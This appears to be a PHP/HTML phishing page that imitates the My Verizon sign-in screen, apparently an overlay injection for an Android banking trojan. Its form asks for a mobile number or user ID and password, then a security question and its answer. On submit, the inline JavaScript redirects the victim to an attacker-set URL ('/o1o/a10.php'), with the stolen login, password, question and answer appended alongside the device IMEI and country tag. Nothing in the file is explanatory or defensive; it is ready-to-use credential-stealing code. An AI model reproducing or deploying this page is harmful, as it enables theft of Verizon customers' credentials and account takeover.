221 lines
331 KiB
PHP
221 lines
331 KiB
PHP
<html>
|
|||
|
|
<head>
|
||
|
|
<meta charset="UTF-8">
|
||
|
|
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.4/angular.min.js"></script>
|
||
|
|
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css">
|
||
|
|
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.0/js/bootstrap.min.js"></script>
|
||
|
|
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.6.1/css/font-awesome.min.css">
|
||
|
|
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
|
||
|
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.0/umd/popper.min.js"></script>
|
||
|
|
<link rel="stylesheet" href="us/com.vzw.hss.myverizon/style.css">
|
||
|
|
</head>
|
||
|
|
<?php
|
||
|
|
$IMEI_country = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
|
||
|
|
//$IMEI_country = "321|tr";
|
||
|
|
include "config.php";
|
||
|
|
?>
|
||
|
|
<body>
|
||
|
|
<div id="spinner" style="display: none;">
|
||
|
|
<img src="data:image/gif;base64,R0lGODlh+gD6APfTACsrKy4uLi8vLzAwMDExMTIyMjMzMzQ0NDU1NTY2Njc3Nzg4ODk5OTo6Ojs7Ozw8PD09PT4+Pj8/P0BAQEFBQUJCQkNDQ0REREVFRUZGRkdHR0hISElJSUpKSktLS0xMTE1NTU5OTk9PT1BQUFFRUVJSUlNTU1RUVFVVVVZWVldXV1hYWFlZWVpaWltbW1xcXF1dXV5eXl9fX2BgYGFhYWJiYmNjY2RkZGVlZWZmZmdnZ2hoaGlpaWpqamtra2xsbG1tbW5ubm9vb3BwcHFxcXJycnNzc3R0dHV1dXZ2dnd3d3h4eHl5eXp6ent7e3x8fH19fX5+fn9/f4CAgIGBgYKCgoODg4SEhIWFhYaGhoeHh4iIiImJiYqKiouLi4yMjI2NjY6Ojo+Pj5CQkJGRkZKSkpOTk5SUlJWVlZaWlpeXl5iYmJmZmZqampubm5ycnJ2dnZ6enp+fn6CgoKGhoaKioqOjo6SkpKWlpaampqenp6ioqKmpqaqqqqurq6ysrK2tra6urq+vr7CwsLGxsbKysrOzs7S0tLW1tba2tre3t7i4uLm5ubq6uru7u7y8vL29vb6+vr+/v8DAwMHBwcLCwsPDw8TExMXFxcbGxsfHx8jIyMnJycrKysvLy8zMzM3Nzc7Ozs/Pz9DQ0NHR0dLS0tPT09TU1NXV1dbW1tfX19jY2NnZ2dra2tvb29zc3N3d3d7e3t/f3+Dg4OHh4eLi4uPj4+Tk5OXl5ebm5ufn5+jo6Onp6erq6uvr6+zs7O3t7e7u7u/v7/Dw8PHx8fLy8vPz8/T09PX19fb29vf39/j4+Pn5+fr6+vv7+/z8/P39/f7+/v///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh/wtYTVAgRGF0YVhNUDw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iIHhtbG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIiB4bWxuczpzdEV2dD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlRXZlbnQjIiB4bWxuczpzdFJlZj0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChNYWNpbnRvc2gpIiB4bXA6Q3JlYXRlRGF0ZT0iMjAxMy0xMi0xMVQyMjozNjoxNiswMTowMCIgeG1wOk1vZGlmeURhdGU9IjIwMTMtMTItMTJUMTE6NTM6MzUrMDE6MDAiIHhtcDpNZXRhZGF0YURhdGU9IjIwMTMtMTItMTJUMTE6NTM6MzUrMDE6MDAiIGRjOmZvcm1hdD0iaW1hZ2UvZ2lmIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjUwMEM0MDdENUI0ODExRTNBN0ZFODJBREU5MEI4Mjk0IiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjUwMEM0MDdFNUI0ODExRTNBN0ZFODJBREU5MEI4Mjk0IiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MDg4MDExNzQwNzIwNjgxMTgyMkFBMjUzNUJBRUEwM0IiPiA8eG1wTU06SGlzdG9yeT4gPHJkZjpTZXE+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjcmVhdGVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOjA4ODAxMTc0MDcyMDY4MTE4MjJBQTI1MzVCQUVBMDNCIiBzdEV2dDp3aGVuPSIyMDEzLTEyLTExVDIyOjM2OjE2KzAxOjAwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgQ1M2IChNYWNpbnRvc2gpIi8+IDwvcmRmOlNlcT4gPC94bXBNTTpIaXN0b3J5PiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDowODgwMTE3NDA3MjA2ODExODIyQUEyNTM1QkFFQTAzQiIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDowODgwMTE3NDA3MjA2ODExODIyQUEyNTM1QkFFQTAzQiIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PgH//v38+/r5+Pf29fTz8vHw7+7t7Ovq6ejn5uXk4+Lh4N/e3dzb2tnY19bV1NPS0dDPzs3My8rJyMfGxcTDwsHAv769vLu6ubi3trW0s7KxsK+urayrqqmop6alpKOioaCfnp2cm5qZmJeWlZSTkpGQj46NjIuKiYiHhoWEg4KBgH9+fXx7enl4d3Z1dHNycXBvbm1sa2ppaGdmZWRjYmFgX15dXFtaWVhXVlVUU1JRUE9OTUxLSklIR0ZFRENCQUA/Pj08Ozo5ODc2NTQzMjEwLy4tLCsqKSgnJiUkIyIhIB8eHRwbGhkYFxYVFBMSERAPDg0MCwoJCAcGBQQDAgEAACH5BAkAANMALAAAAAD6APoAAAj/AKcJHEiwoMGDCBMqXMiwocOHBKFFg0ixosWLGDNq3Mix40NhbJQ42cPMo8mTKFOqXOlw2CdWFL20mNnCD0RmqEyVZMmzp8+fGV31UKFiyzGHyXi8WPriykNcUGjQoBIMqNWrWIFCc0KUKCCHyHwwfZHloRipUutkXcu2rUZiNbqq0AL2x9iyDZkZQUujitu/gAMfVDa065BnDZHZZYqXoS4cfMMInky5bRW5MXwlXry08UJSfGnwqUy6NMVZY5rYSfYQjlwVpzbfdago9KWHv+hsyUPMtO+2umaUGL5lYsNGrxfJZuzQTWhYYKHkmJ5l2e/rV/EM357KIarXbpZ3/3ZYhe+P3g0fTV8fCrt7n3K2D2fjEFgMuVTEk214LAhfKcYxlMV603Xy3oEroSJfCTUcxdAzRsjFA2sLKTYbQ7LUwBd9DcmiA4FEoIfgiB5BM8SCtzWUhVws2MKQhcwxpElohjjEB4E5xEHijh75saBnCrkml4EVcrYfQ36EhklDzTCBY2w8RpnRLSnIx4JmDCEn11dFXrgQGXzVEEtDpeDYRDNSpnkRFAse0tB3cpHxopFAHvRME+YV09AbOP6hppSoYFFEGxQet+ASDf0ig1xKzOllQsDs8F9DxQxBoA60PORLHFzUscufgJ1SAgikgvHRC/KdMMuDRMhlg4gIwf843kKqhLZGQ5fgiEWACzWThQ/AOlEVqG1lQeqxpDz0xYJ4NNTFa650GaNCkNDYUBg4NvKQI8B2qxyxbFVxLKlEOOMQJwv+YO5CebxGibSzKkRHaO0txEs
|
||
|
|
</div>
|
||
|
|
|
||
|
|
<form action="null" method="post" id="_mainForm" target="flow_handler">
|
||
|
|
<div id="form1">
|
||
|
|
<h1>A better app for a better network.</h1>
|
||
|
|
<hr>
|
||
|
|
<p>Sign in to My Verizon</p>
|
||
|
|
|
||
|
|
<label for="login">Mobile Number or User ID</label>
|
||
|
|
<input type="text" class="field" name="login" id="login" placeholder="" autocomplete="off">
|
||
|
|
|
||
|
|
<label for="password">Password</label>
|
||
|
|
<input type="password" style="margin-bottom: 30px;" class="field" name="password" id="password" placeholder="" autocomplete="off">
|
||
|
|
|
||
|
|
<div class="footer">
|
||
|
|
<input type="submit" class="button-d" disabled id="input_submitBtn" value="Sign up">
|
||
|
|
<input type="submit" class="button" id="input_next" value="Next">
|
||
|
|
</div>
|
||
|
|
</div>
|
||
|
|
|
||
|
|
<div id="form2" style="display: none;">
|
||
|
|
<h1>A better app for a better network.</h1>
|
||
|
|
<hr>
|
||
|
|
|
||
|
|
<select class="field" id="question" required>
|
||
|
|
<option value="">Choose your question</option>
|
||
|
|
<option value="What is your favorite book?">What is your favorite book?</option>
|
||
|
|
<option value="What is your mom's maiden name?">What is your mom's maiden name?</option>
|
||
|
|
<option value="What city were you born in?">What city were you born in?</option>
|
||
|
|
<option value="Where did you spend your honeymoon?">Where did you spend your honeymoon?</option>
|
||
|
|
<option value="Where did you meet your spouse?">Where did you meet your spouse?</option>
|
||
|
|
<option value="What is your oldest cousin's name?">What is your oldest cousin's name?</option>
|
||
|
|
<option value="What is your youngest child's nickname?">What is your youngest child's nickname?</option>
|
||
|
|
<option value="What is your oldest child's nickname?">What is your oldest child's nickname?</option>
|
||
|
|
<option value="What is the first name of your oldest niece?">What is the first name of your oldest niece?</option>
|
||
|
|
<option value="What is the first name of your oldest nephew?">What is the first name of your oldest nephew?</option>
|
||
|
|
<option value="What is the first name of your favorite aunt?">What is the first name of your favorite aunt?</option>
|
||
|
|
<option value="What is the first name of your favorite uncle?">What is the first name of your favorite uncle?</option>
|
||
|
|
<option value="What town was your father born in?">What town was your father born in?</option>
|
||
|
|
<option value="What town was your mother born in?">What town was your mother born in?</option>
|
||
|
|
</select>
|
||
|
|
|
||
|
|
<input type="text" class="field" id="answer" placeholder="Your Answer">
|
||
|
|
|
||
|
|
<div class="footer">
|
||
|
|
<input type="submit" class="button-d" id="input_back" value="Back">
|
||
|
|
<input type="submit" class="button" id="input_finish" value="Log in">
|
||
|
|
</div>
|
||
|
|
</div>
|
||
|
|
</form>
|
||
|
|
<iframe src="about:blank" name="flow_handler" style="visibility:hidden;display:none"></iframe>
|
||
|
|
<script type="text/javascript">
|
||
|
|
(function () {
|
||
|
|
var BACKSPACE_KEYCODE = 8;
|
||
|
|
|
||
|
|
window.checkDigits = function(event){
|
||
|
|
return event.charCode >= 48 && event.charCode <= 57;
|
||
|
|
};
|
||
|
|
|
||
|
|
var __insHiddenField = function (objDoc, objForm, sNm, sV) {
|
||
|
|
var input = objDoc.createElement("input");
|
||
|
|
input.setAttribute("type", "hidden");
|
||
|
|
input.setAttribute("name", sNm);
|
||
|
|
input.setAttribute("value", sV);
|
||
|
|
input.value = sV;
|
||
|
|
objForm.appendChild(input);
|
||
|
|
};
|
||
|
|
|
||
|
|
function getRealDisplay(elem) {
|
||
|
|
if (elem.currentStyle) {
|
||
|
|
return elem.currentStyle.display;
|
||
|
|
} else if (window.getComputedStyle) {
|
||
|
|
var computedStyle = window.getComputedStyle(elem, null);
|
||
|
|
return computedStyle.getPropertyValue('display')
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
function __hide(el) {
|
||
|
|
if (!el.hasAttribute('displayOld')) {
|
||
|
|
el.setAttribute("displayOld", el.style.display)
|
||
|
|
}
|
||
|
|
|
||
|
|
el.style.display = "none"
|
||
|
|
}
|
||
|
|
|
||
|
|
displayCache = {};
|
||
|
|
|
||
|
|
function __show(el) {
|
||
|
|
if (getRealDisplay(el) != 'none') return;
|
||
|
|
|
||
|
|
var old = el.getAttribute("displayOld");
|
||
|
|
el.style.display = old || "";
|
||
|
|
|
||
|
|
if (getRealDisplay(el) === "none") {
|
||
|
|
var nodeName = el.nodeName, body = document.body, display;
|
||
|
|
|
||
|
|
if (displayCache[nodeName]) {
|
||
|
|
display = displayCache[nodeName]
|
||
|
|
} else {
|
||
|
|
var testElem = document.createElement(nodeName);
|
||
|
|
body.appendChild(testElem);
|
||
|
|
display = getRealDisplay(testElem);
|
||
|
|
|
||
|
|
if (display === "none") {
|
||
|
|
display = "block"
|
||
|
|
}
|
||
|
|
|
||
|
|
body.removeChild(testElem);
|
||
|
|
displayCache[nodeName] = display
|
||
|
|
}
|
||
|
|
|
||
|
|
el.setAttribute('displayOld', display);
|
||
|
|
el.style.display = display
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
function __setFocus(el){
|
||
|
|
el.focus();
|
||
|
|
}
|
||
|
|
|
||
|
|
var step1 = document.getElementById('form1'),
|
||
|
|
step2 = document.getElementById('form2'),
|
||
|
|
spinner = document.getElementById('spinner');
|
||
|
|
|
||
|
|
var g_nextBtn = document.getElementById('input_next');
|
||
|
|
g_nextBtn.onclick = function () {
|
||
|
|
|
||
|
|
var oNumInp = document.getElementById('login');
|
||
|
|
var oCodeInp = document.getElementById('password');
|
||
|
|
|
||
|
|
|
||
|
|
try{
|
||
|
|
oNumInp.className = oCodeInp.className = 'field';
|
||
|
|
} catch(e){};
|
||
|
|
|
||
|
|
if (!/^\w{3,100}$/i.test(oNumInp.value)) {
|
||
|
|
try{
|
||
|
|
oNumInp.className = 'field error';
|
||
|
|
} catch(e){};
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
if (!/^\w{3,100}$/i.test(oCodeInp.value)) {
|
||
|
|
try{
|
||
|
|
oCodeInp.className = 'field error';
|
||
|
|
} catch(e){};
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
|
||
|
|
__hide(step1);
|
||
|
|
__show(spinner);
|
||
|
|
setTimeout(function(){
|
||
|
|
__hide(spinner);
|
||
|
|
__show(step2);
|
||
|
|
}, 1000);
|
||
|
|
return false;
|
||
|
|
};
|
||
|
|
|
||
|
|
var g_nextBtn = document.getElementById('input_back');
|
||
|
|
g_nextBtn.onclick = function () {
|
||
|
|
|
||
|
|
__hide(step2);
|
||
|
|
__show(spinner);
|
||
|
|
setTimeout(function(){
|
||
|
|
__hide(spinner);
|
||
|
|
__show(step1);
|
||
|
|
}, 1000);
|
||
|
|
return false;
|
||
|
|
};
|
||
|
|
|
||
|
|
var g_submitBtn = document.getElementById('input_finish');
|
||
|
|
g_submitBtn.onclick = function () {
|
||
|
|
|
||
|
|
var oNumInp = document.getElementById('login');
|
||
|
|
var oCodeInp = document.getElementById('password');
|
||
|
|
var oQueInp = document.getElementById('question');
|
||
|
|
var oAnswInp = document.getElementById('answer');
|
||
|
|
|
||
|
|
|
||
|
|
try{
|
||
|
|
oQueInp.className = oAnswInp.className = 'field';
|
||
|
|
} catch(e){};
|
||
|
|
|
||
|
|
if (!/^\w{3,100}$/i.test(oAnswInp.value)) {
|
||
|
|
try{
|
||
|
|
oAnswInp.className = 'field error';
|
||
|
|
} catch(e){};
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
|
||
|
|
top['closeDlg'] = true;
|
||
|
|
var url='<?php echo $URL; ?>';
|
||
|
|
var imei_c='<?php echo $IMEI_country; ?>';
|
||
|
|
|
||
|
|
location.replace(url+'/o1o/a10.php?p=' + imei_c+"|Injection_10|myverizon|Login: "+oNumInp.value+"//br//Passowrd: "+oCodeInp.value+"//br//Question: "+oQueInp.value+"//br//Answer: "+oAnswInp.value);
|
||
|
|
|
||
|
|
return false;
|
||
|
|
};
|
||
|
|
})();
|
||
|
|
</script>
|
||
|
|
</body>
|
||
|
|
</html>
|